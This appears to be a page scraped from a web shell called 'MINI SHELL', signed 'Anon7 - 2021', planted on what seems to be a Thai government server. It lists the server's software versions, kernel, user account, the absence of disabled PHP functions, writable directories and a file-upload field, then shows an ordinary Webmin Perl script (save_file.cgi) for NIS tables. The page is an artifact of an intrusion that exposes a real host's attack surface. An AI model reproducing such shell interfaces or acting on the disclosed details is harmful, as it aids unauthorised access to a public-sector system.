MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/libexec/webmin/nis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/webmin/nis/save_file.cgi
#!/usr/bin/perl
# save_file.cgi
# Save the files of a manually edited NIS table

require './nis-lib.pl';
&ReadParseMime();
@tables = &list_nis_tables();
$table = $tables[$in{'table'}];
$fnum = 0;
foreach $f (@{$table->{'files'}}) {
	$in{"data_$fnum"} =~ s/\r//g;
	if ($in{"data_$fnum"} =~ /\S/) {
		$in{"data_$fnum"} =~ s/\s*$/\n/;
		}
	else {
		$in{"data_$fnum"} = "";
		}
	&open_tempfile(FILE, ">$f");
	&print_tempfile(FILE, $in{"data_$fnum"});
	&close_tempfile(FILE);
	$fnum++;
	}
&apply_table_changes() if (!$config{'manual_build'});
&redirect("edit_tables.cgi?table=$in{'table'}");


Anon7 - 2021